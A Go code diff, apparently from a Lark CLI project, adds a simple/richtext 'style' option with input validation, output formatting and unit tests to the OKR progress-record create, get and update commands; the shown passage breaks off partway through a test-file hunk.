 func parseCreateProgressRecordParams(runtime *common.RuntimeContext) (*createProgressRecordParams, error) {
+	style := runtime.Str("style")
 	content := runtime.Str("content")
-	var cb ContentBlock
-	if err := json.Unmarshal([]byte(content), &cb); err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+	var contentV1 *ContentBlockV1
+
+	if style == "simple" {
+		var sp SemiPlainContent
+		if err := json.Unmarshal([]byte(content), &sp); err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid semi-plain JSON: {\"text\":\"...\",\"mention\":[\"...\"]}: %s", err).WithParam("--content").WithCause(err)
+		}
+		if strings.TrimSpace(sp.Text) == "" {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content text is required and cannot be empty").WithParam("--content")
+		}
+		// Validate mention IDs are non-empty
+		for i, m := range sp.Mention {
+			if strings.TrimSpace(m) == "" {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content mention[%d] cannot be empty", i).WithParam("--content")
+			}
+		}
+		if len(sp.Docs) > 0 || len(sp.Images) > 0 {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content docs and images are not supported in simple style input; use richtext style or remove these fields").WithParam("--content")
+		}
+		// Build ContentBlock from semi-plain content (text + mentions)
+		contentV1 = sp.ToContentBlock().ToV1()
+	} else {
+		// richtext mode
+		var cb ContentBlock
+		if err := json.Unmarshal([]byte(content), &cb); err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+		}
+		contentV1 = cb.ToV1()
 	}
-	contentV1 := cb.ToV1()
 
 	targetType := runtime.Str("target-type")
 	targetTypeVal := targetTypeAllowed[targetType]
@@ -92,7 +118,7 @@ var OKRCreateProgressRecord = common.Shortcut{
 	AuthTypes:   []string{"user", "bot"},
 	HasFormat:   true,
 	Flags: []common.Flag{
-		{Name: "content", Desc: "progress content in ContentBlock JSON format", Required: true, Input: []string{common.File, common.Stdin}},
+		{Name: "content", Desc: "progress content: semi-plain JSON {\"text\":\"...\",\"mention\":[\"...\"]} (simple style) or ContentBlock JSON (richtext style)", Required: true, Input: []string{common.File, common.Stdin}},
 		{Name: "target-id", Desc: "target ID (objective or key result ID)", Required: true},
 		{Name: "target-type", Desc: "target type: objective | key_result", Required: true, Enum: []string{"objective", "key_result"}},
 		{Name: "progress-percent", Desc: "progress percentage"},
@@ -100,6 +126,7 @@ var OKRCreateProgressRecord = common.Shortcut{
 		{Name: "source-title", Default: "created by lark-cli", Desc: "source title for display"},
 		{Name: "source-url", Desc: "source URL for display (defaults to open platform URL based on brand)"},
 		{Name: "user-id-type", Default: "open_id", Desc: "user ID type: open_id | union_id | user_id"},
+		{Name: "style", Default: "simple", Desc: "input style: simple (semi-plain text JSON) | richtext (ContentBlock JSON)", Enum: []string{"simple", "richtext"}},
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		content := runtime.Str("content")
@@ -109,10 +136,36 @@ var OKRCreateProgressRecord = common.Shortcut{
 		if err := common.RejectDangerousCharsTyped("--content", content); err != nil {
 			return err
 		}
-		// Validate content is valid JSON and can be parsed as ContentBlock
-		var cb ContentBlock
-		if err := json.Unmarshal([]byte(content), &cb); err != nil {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+
+		style := runtime.Str("style")
+		if style != "simple" && style != "richtext" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--style must be one of: simple | richtext").WithParam("--style")
+		}
+
+		// Validate content based on style
+		if style == "simple" {
+			var sp SemiPlainContent
+			if err := json.Unmarshal([]byte(content), &sp); err != nil {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid semi-plain JSON: {\"text\":\"...\",\"mention\":[\"...\"]}: %s", err).WithParam("--content").WithCause(err)
+			}
+			if strings.TrimSpace(sp.Text) == "" {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content text is required and cannot be empty").WithParam("--content")
+			}
+			for i, m := range sp.Mention {
+				if strings.TrimSpace(m) == "" {
+					return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content mention[%d] cannot be empty", i).WithParam("--content")
+				}
+			}
+			// If user provided docs or images in simple mode, warn that they are ignored
+			if len(sp.Docs) > 0 || len(sp.Images) > 0 {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content docs and images are not supported in simple style input; use richtext style or remove these fields").WithParam("--content")
+			}
+		} else {
+			// richtext mode
+			var cb ContentBlock
+			if err := json.Unmarshal([]byte(content), &cb); err != nil {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+			}
 		}
 
 		targetID := runtime.Str("target-id")
@@ -213,21 +266,43 @@ var OKRCreateProgressRecord = common.Shortcut{
 			return err
 		}
 
-		resp := record.ToResp()
-		result := map[string]interface{}{
-			"progress": resp,
-		}
+		style := runtime.Str("style")
+		var result map[string]interface{}
+		if style == "simple" {
+			resp := record.ToSimple()
+			result = map[string]interface{}{
+				"progress": resp,
+				"style":    style,
+			}
 
-		runtime.OutFormat(result, nil, func(w io.Writer) {
-			fmt.Fprintf(w, "Created Progress [%s]\n", resp.ID)
-			fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
-			if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
-				fmt.Fprintf(w, "  ProgressRate: %.1f%%\n", *resp.ProgressRate.Percent)
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Created Progress [%s] (style: %s)\n", resp.ID, style)
+				fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
+				if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
+					fmt.Fprintf(w, "  ProgressRate: %.1f%%\n", *resp.ProgressRate.Percent)
+				}
+				if resp.Content != nil {
+					fmt.Fprintf(w, "  Content: %s\n", resp.Content.Text)
+				}
+			})
+		} else {
+			resp := record.ToResp()
+			result = map[string]interface{}{
+				"progress": resp,
+				"style":    style,
 			}
-			if resp.Content != nil {
-				fmt.Fprintf(w, "  Content: %s\n", *resp.Content)
-			}
-		})
+
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Created Progress [%s] (style: %s)\n", resp.ID, style)
+				fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
+				if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
+					fmt.Fprintf(w, "  ProgressRate: %.1f%%\n", *resp.ProgressRate.Percent)
+				}
+				if resp.Content != nil {
+					fmt.Fprintf(w, "  Content: %s\n", *resp.Content)
+				}
+			})
+		}
 		return nil
 	},
 }

shortcuts/okr/okr_progress_create_test.go

@@ -5,11 +5,13 @@ package okr
 
 import (
 	"bytes"
+	"errors"
 	"strings"
 	"testing"
 
 	"github.com/spf13/cobra"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/httpmock"
@@ -38,6 +40,7 @@ func runProgressCreateShortcut(t *testing.T, f *cmdutil.Factory, stdout *bytes.B
 }
 
 const validContentBlockJSON = `{"blocks":[{"block_element_type":"paragraph","paragraph":{"elements":[{"paragraph_element_type":"textRun","text_run":{"text":"test content"}}]}}]}`
+const validSemiPlainJSON = `{"text":"test content","mention":["ou_123"]}`
 
 // --- Validate tests ---
 
@@ -60,6 +63,7 @@ func TestProgressCreateValidate_InvalidContentJSON(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", "not-json",
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 	})
@@ -77,6 +81,7 @@ func TestProgressCreateValidate_MissingTargetID(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-type", "objective",
 	})
 	if err == nil {
@@ -90,6 +95,7 @@ func TestProgressCreateValidate_InvalidTargetID_NonNumeric(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "abc",
 		"--target-type", "objective",
 	})
@@ -107,6 +113,7 @@ func TestProgressCreateValidate_InvalidTargetType(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "invalid",
 	})
@@ -124,6 +131,7 @@ func TestProgressCreateValidate_ControlCharsInContent(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", "{\"blocks\":[{\"block_element_type\":\"para\tgraph\"}]}",
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 	})
@@ -138,6 +146,7 @@ func TestProgressCreateValidate_InvalidUserIDType(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 		"--user-id-type", "invalid",
@@ -153,6 +162,7 @@ func TestProgressCreateValidate_InvalidProgressPercent_OutOfRange(t *testing.T)
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 		"--progress-percent", "999999999999",
@@ -171,6 +181,7 @@ func TestProgressCreateValidate_InvalidProgressPercent_NonNumeric(t *testing.T)
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 		"--progress-percent", "abc",
@@ -189,6 +200,7 @@ func TestProgressCreateValidate_InvalidProgressStatus(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 		"--progress-status", "invalid_status",
@@ -219,6 +231,7 @@ func TestProgressCreateValidate_Valid(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 	})
@@ -235,6 +248,7 @@ func TestProgressCreateDryRun(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 		"--dry-run",
@@ -264,6 +278,7 @@ func TestProgressCreateDryRun_WithProgressRate(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "123",
 		"--target-type", "objective",
 		"--progress-percent", "75",
@@ -299,6 +314,7 @@ func TestProgressCreateExecute_Success(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "456",
 		"--target-type", "key_result",
 	})
@@ -330,6 +346,7 @@ func TestProgressCreateExecute_APIError(t *testing.T) {
 	err := runProgressCreateShortcut(t, f, stdout, []string{
 		"+progress-create",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 		"--target-id", "789",
 		"--target-type", "objective",
 	})
@@ -337,3 +354,200 @@ func TestProgressCreateExecute_APIError(t *testing.T) {
 		t.Fatal("expected error for API failure")
 	}
 }
+
+// --- Simple mode tests ---
+
+func TestProgressCreateExecute_SimpleMode_DefaultStyle(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, reg := cmdutil.TestFactory(t, progressCreateTestConfig(t))
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    "/open-apis/okr/v1/progress_records/",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"progress_id": "300",
+				"modify_time": "1735776000000",
+			},
+		},
+	})
+	// Use default style (simple) without specifying --style
+	err := runProgressCreateShortcut(t, f, stdout, []string{
+		"+progress-create",
+		"--content", validSemiPlainJSON,
+		"--target-id", "123",
+		"--target-type", "objective",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	data := decodeEnvelope(t, stdout)
+	pr, _ := data["progress"].(map[string]interface{})
+	if pr == nil {
+		t.Fatal("expected progress in output")
+	}
+	if pr["progress_id"] != "300" {
+		t.Fatalf("progress_id = %v, want 300", pr["progress_id"])
+	}
+}
+
+func TestProgressCreateExecute_SimpleMode_ExplicitStyle(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, reg := cmdutil.TestFactory(t, progressCreateTestConfig(t))
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    "/open-apis/okr/v1/progress_records/",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"progress_id": "400",
+				"modify_time": "1735776000000",
+			},
+		},
+	})
+	// Explicitly specify --style simple with mentions
+	err := runProgressCreateShortcut(t, f, stdout, []string{
+		"+progress-create",
+		"--content", `{"text":"simple progress with mention","mention":["ou_abc","ou_def"]}`,
+		"--style", "simple",
+		"--target-id", "456",
+		"--target-type", "key_result",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	data := decodeEnvelope(t, stdout)
+	pr, _ := data["progress"].(map[string]interface{})
+	if pr == nil {
+		t.Fatal("expected progress in output")
+	}
+	if pr["progress_id"] != "400" {
+		t.Fatalf("progress_id = %v, want 400", pr["progress_id"])
+	}
+}
+
+func TestProgressCreateValidate_SimpleMode_InvalidSemiPlainJSON(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressCreateTestConfig(t))
+	err := runProgressCreateShortcut(t, f, stdout, []string{
+		"+progress-create",
+		"--content", `{"text":"missing closing brace`,
+		"--target-id", "123",
+		"--target-type", "objective",
+	})
+	if err == nil {
+		t.Fatal("expected error for invalid semi-plain JSON")
+	}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed error, got: %v", err)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("expected category %q, got %q", errs.CategoryValidation, problem.Category)
+	}
+	if problem.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected subtype %q, got %q", errs.SubtypeInvalidArgument, problem.Subtype)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected *errs.ValidationError, got: %T", err)
+	}
+	if validationErr.Param != "--content" {
+		t.Fatalf("expected param %q, got %q", "--content", validationErr.Param)
+	}
+	if !strings.Contains(err.Error(), "--content must be valid semi-plain JSON") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
+func TestProgressCreateValidate_SimpleMode_EmptyText(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressCreateTestConfig(t))
+	err := runProgressCreateShortcut(t, f, stdout, []string{
+		"+progress-create",
+		"--content", `{"text":"   ","mention":[]}`,
+		"--target-id", "123",
+		"--target-type", "objective",
+	})
+	if err == nil {
+		t.Fatal("expected error for empty text in simple mode")
+	}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed error, got: %v", err)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("expected category %q, got %q", errs.CategoryValidation, problem.Category)
+	}
+	if problem.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected subtype %q, got %q", errs.SubtypeInvalidArgument, problem.Subtype)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected *errs.ValidationError, got: %T", err)
+	}
+	if validationErr.Param != "--content" {
+		t.Fatalf("expected param %q, got %q", "--content", validationErr.Param)
+	}
+	if !strings.Contains(err.Error(), "--content text is required and cannot be empty") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
+func TestProgressCreateValidate_SimpleMode_DocsImagesNotSupported(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressCreateTestConfig(t))
+	err := runProgressCreateShortcut(t, f, stdout, []string{
+		"+progress-create",
+		"--content", `{"text":"has docs","mention":[],"docs":[{"title":"doc","url":"https://example.com"}]}`,
+		"--target-id", "123",
+		"--target-type", "objective",
+	})
+	if err == nil {
+		t.Fatal("expected error for docs in simple mode")
+	}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed error, got: %v", err)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("expected category %q, got %q", errs.CategoryValidation, problem.Category)
+	}
+	if problem.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected subtype %q, got %q", errs.SubtypeInvalidArgument, problem.Subtype)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("expected *errs.ValidationError, got: %T", err)
+	}
+	if validationErr.Param != "--content" {
+		t.Fatalf("expected param %q, got %q", "--content", validationErr.Param)
+	}
+	if !strings.Contains(err.Error(), "docs and images are not supported in simple style input") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
+func TestProgressCreateDryRun_SimpleMode(t *testing.T) {
+	t.Parallel()
+	f, stdout, _, _ := cmdutil.TestFactory(t, progressCreateTestConfig(t))
+	err := runProgressCreateShortcut(t, f, stdout, []string{
+		"+progress-create",
+		"--content", validSemiPlainJSON,
+		"--target-id", "123",
+		"--target-type", "objective",
+		"--dry-run",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	output := stdout.String()
+	if !strings.Contains(output, "/open-apis/okr/v1/progress_records/") {
+		t.Fatalf("dry-run output should contain API path, got: %s", output)
+	}
+	if !strings.Contains(output, "POST") {
+		t.Fatalf("dry-run output should contain POST method, got: %s", output)
+	}
+}

shortcuts/okr/okr_progress_get.go

@@ -26,6 +26,7 @@ var OKRGetProgressRecord = common.Shortcut{
 	Flags: []common.Flag{
 		{Name: "progress-id", Desc: "progress ID (int64)", Required: true},
 		{Name: "user-id-type", Default: "open_id", Desc: "user ID type: open_id | union_id | user_id"},
+		{Name: "style", Default: "simple", Desc: "output style: simple (semi-plain text JSON) | richtext (ContentBlock JSON)", Enum: []string{"simple", "richtext"}},
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		progressID := runtime.Str("progress-id")
@@ -39,6 +40,10 @@ var OKRGetProgressRecord = common.Shortcut{
 		if idType != "open_id" && idType != "union_id" && idType != "user_id" {
 			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--user-id-type must be one of: open_id | union_id | user_id").WithParam("--user-id-type")
 		}
+		style := runtime.Str("style")
+		if style != "simple" && style != "richtext" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--style must be one of: simple | richtext").WithParam("--style")
+		}
 		return nil
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
@@ -55,6 +60,7 @@ var OKRGetProgressRecord = common.Shortcut{
 	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		progressID := runtime.Str("progress-id")
 		userIDType := runtime.Str("user-id-type")
+		style := runtime.Str("style")
 
 		queryParams := map[string]interface{}{"user_id_type": userIDType}
 
@@ -69,21 +75,45 @@ var OKRGetProgressRecord = common.Shortcut{
 			return err
 		}
 
-		resp := record.ToResp()
-		result := map[string]interface{}{
-			"progress": resp,
-		}
+		var result map[string]interface{}
+		if style == "simple" {
+			resp := record.ToSimple()
+			result = map[string]interface{}{
+				"progress": resp,
+				"style":    style,
+			}
 
-		runtime.OutFormat(result, nil, func(w io.Writer) {
-			fmt.Fprintf(w, "Progress [%s]\n", resp.ID)
-			fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
-			if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
-				fmt.Fprintf(w, "  ProgressRate: %.1f%%\n", *resp.ProgressRate.Percent)
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Progress [%s] (style: %s)\n", resp.ID, style)
+				fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
+				if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
+					fmt.Fprintf(w, "  ProgressRate: %.1f%%\n", *resp.ProgressRate.Percent)
+				}
+				if resp.Content != nil {
+					fmt.Fprintf(w, "  Content: %s\n", resp.Content.Text)
+					if len(resp.Content.Mention) > 0 {
+						fmt.Fprintf(w, "  Mentions: %v\n", resp.Content.Mention)
+					}
+				}
+			})
+		} else {
+			resp := record.ToResp()
+			result = map[string]interface{}{
+				"progress": resp,
+				"style":    style,
 			}
-			if resp.Content != nil {
-				fmt.Fprintf(w, "  Content: %s\n", *resp.Content)
-			}
-		})
+
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Progress [%s] (style: %s)\n", resp.ID, style)
+				fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
+				if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
+					fmt.Fprintf(w, "  ProgressRate: %.1f%%\n", *resp.ProgressRate.Percent)
+				}
+				if resp.Content != nil {
+					fmt.Fprintf(w, "  Content: %s\n", *resp.Content)
+				}
+			})
+		}
 		return nil
 	},
 }

shortcuts/okr/okr_progress_update.go

@@ -10,6 +10,7 @@ import (
 	"io"
 	"math"
 	"strconv"
+	"strings"
 
 	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/shortcuts/common"
@@ -25,12 +26,35 @@ type updateProgressRecordParams struct {
 
 // parseUpdateProgressRecordParams parses and validates flags from runtime into request-ready parameters.
 func parseUpdateProgressRecordParams(runtime *common.RuntimeContext) (*updateProgressRecordParams, error) {
+	style := runtime.Str("style")
 	content := runtime.Str("content")
-	var cb ContentBlock
-	if err := json.Unmarshal([]byte(content), &cb); err != nil {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+	var contentV1 *ContentBlockV1
+
+	if style == "simple" {
+		var sp SemiPlainContent
+		if err := json.Unmarshal([]byte(content), &sp); err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid semi-plain JSON: {\"text\":\"...\",\"mention\":[\"...\"]}: %s", err).WithParam("--content").WithCause(err)
+		}
+		if strings.TrimSpace(sp.Text) == "" {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content text is required and cannot be empty").WithParam("--content")
+		}
+		for i, m := range sp.Mention {
+			if strings.TrimSpace(m) == "" {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content mention[%d] cannot be empty", i).WithParam("--content")
+			}
+		}
+		if len(sp.Docs) > 0 || len(sp.Images) > 0 {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content docs and images are not supported in simple style input; use richtext style or remove these fields").WithParam("--content")
+		}
+		contentV1 = sp.ToContentBlock().ToV1()
+	} else {
+		// richtext mode
+		var cb ContentBlock
+		if err := json.Unmarshal([]byte(content), &cb); err != nil {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+		}
+		contentV1 = cb.ToV1()
 	}
-	contentV1 := cb.ToV1()
 
 	var progressRate *ProgressRateV1
 	if v := runtime.Str("progress-percent"); v != "" {
@@ -67,10 +91,11 @@ var OKRUpdateProgressRecord = common.Shortcut{
 	HasFormat:   true,
 	Flags: []common.Flag{
 		{Name: "progress-id", Desc: "progress ID (int64)", Required: true},
-		{Name: "content", Desc: "progress content in ContentBlock JSON format", Required: true, Input: []string{common.File, common.Stdin}},
+		{Name: "content", Desc: "progress content: semi-plain JSON {\"text\":\"...\",\"mention\":[\"...\"]} (simple style) or ContentBlock JSON (richtext style)", Required: true, Input: []string{common.File, common.Stdin}},
 		{Name: "progress-percent", Desc: "progress percentage"},
 		{Name: "progress-status", Desc: "progress status: normal | overdue | done", Enum: []string{"normal", "overdue", "done"}},
 		{Name: "user-id-type", Default: "open_id", Desc: "user ID type: open_id | union_id | user_id"},
+		{Name: "style", Default: "simple", Desc: "input style: simple (semi-plain text JSON) | richtext (ContentBlock JSON)", Enum: []string{"simple", "richtext"}},
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		progressID := runtime.Str("progress-id")
@@ -88,9 +113,35 @@ var OKRUpdateProgressRecord = common.Shortcut{
 		if err := common.RejectDangerousCharsTyped("--content", content); err != nil {
 			return err
 		}
-		var cb ContentBlock
-		if err := json.Unmarshal([]byte(content), &cb); err != nil {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+
+		style := runtime.Str("style")
+		if style != "simple" && style != "richtext" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--style must be one of: simple | richtext").WithParam("--style")
+		}
+
+		// Validate content based on style
+		if style == "simple" {
+			var sp SemiPlainContent
+			if err := json.Unmarshal([]byte(content), &sp); err != nil {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid semi-plain JSON: {\"text\":\"...\",\"mention\":[\"...\"]}: %s", err).WithParam("--content").WithCause(err)
+			}
+			if strings.TrimSpace(sp.Text) == "" {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content text is required and cannot be empty").WithParam("--content")
+			}
+			for i, m := range sp.Mention {
+				if strings.TrimSpace(m) == "" {
+					return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content mention[%d] cannot be empty", i).WithParam("--content")
+				}
+			}
+			if len(sp.Docs) > 0 || len(sp.Images) > 0 {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content docs and images are not supported in simple style input; use richtext style or remove these fields").WithParam("--content")
+			}
+		} else {
+			// richtext mode
+			var cb ContentBlock
+			if err := json.Unmarshal([]byte(content), &cb); err != nil {
+				return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content must be valid ContentBlock JSON: %s", err).WithParam("--content").WithCause(err)
+			}
 		}
 
 		if v := runtime.Str("progress-percent"); v != "" {
@@ -158,21 +209,43 @@ var OKRUpdateProgressRecord = common.Shortcut{
 			return err
 		}
 
-		resp := record.ToResp()
-		result := map[string]interface{}{
-			"progress": resp,
-		}
+		style := runtime.Str("style")
+		var result map[string]interface{}
+		if style == "simple" {
+			resp := record.ToSimple()
+			result = map[string]interface{}{
+				"progress": resp,
+				"style":    style,
+			}
 
-		runtime.OutFormat(result, nil, func(w io.Writer) {
-			fmt.Fprintf(w, "Updated Progress [%s]\n", resp.ID)
-			fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
-			if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
-				fmt.Fprintf(w, "  Progress: %.1f%%\n", *resp.ProgressRate.Percent)
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Updated Progress [%s] (style: %s)\n", resp.ID, style)
+				fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
+				if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
+					fmt.Fprintf(w, "  Progress: %.1f%%\n", *resp.ProgressRate.Percent)
+				}
+				if resp.Content != nil {
+					fmt.Fprintf(w, "  Content: %s\n", resp.Content.Text)
+				}
+			})
+		} else {
+			resp := record.ToResp()
+			result = map[string]interface{}{
+				"progress": resp,
+				"style":    style,
 			}
-			if resp.Content != nil {
-				fmt.Fprintf(w, "  Content: %s\n", *resp.Content)
-			}
-		})
+
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Updated Progress [%s] (style: %s)\n", resp.ID, style)
+				fmt.Fprintf(w, "  ModifyTime: %s\n", resp.ModifyTime)
+				if resp.ProgressRate != nil && resp.ProgressRate.Percent != nil {
+					fmt.Fprintf(w, "  Progress: %.1f%%\n", *resp.ProgressRate.Percent)
+				}
+				if resp.Content != nil {
+					fmt.Fprintf(w, "  Content: %s\n", *resp.Content)
+				}
+			})
+		}
 		return nil
 	},
 }

shortcuts/okr/okr_progress_update_test.go

@@ -5,11 +5,13 @@ package okr
 
 import (
 	"bytes"
+	"errors"
 	"strings"
 	"testing"
 
 	"github.com/spf13/cobra"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/httpmock"
@@ -45,6 +47,7 @@ func TestProgressUpdateValidate_MissingProgressID(t *testing.T) {
 	err := runProgressUpdateShortcut(t, f, stdout, []string{
 		"+progress-update",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 	})
 	if err == nil {
 		t.Fatal("expected error for missing --progress-id")
@@ -58,6 +61,7 @@ func TestProgressUpdateValidate_InvalidProgressID(t *testing.T) {
 		"+progress-update",
 		"--progress-id", "abc",
 		"--content", validContentBlockJSON,
+		"--style", "richtext",
 	})
 	if err == nil {
 		t.Fatal("expected error for invalid --progress-id")
@@ -86,6 +90,7 @@ func TestProgressUpdateValidate_InvalidContentJSON(t *testing.T) {
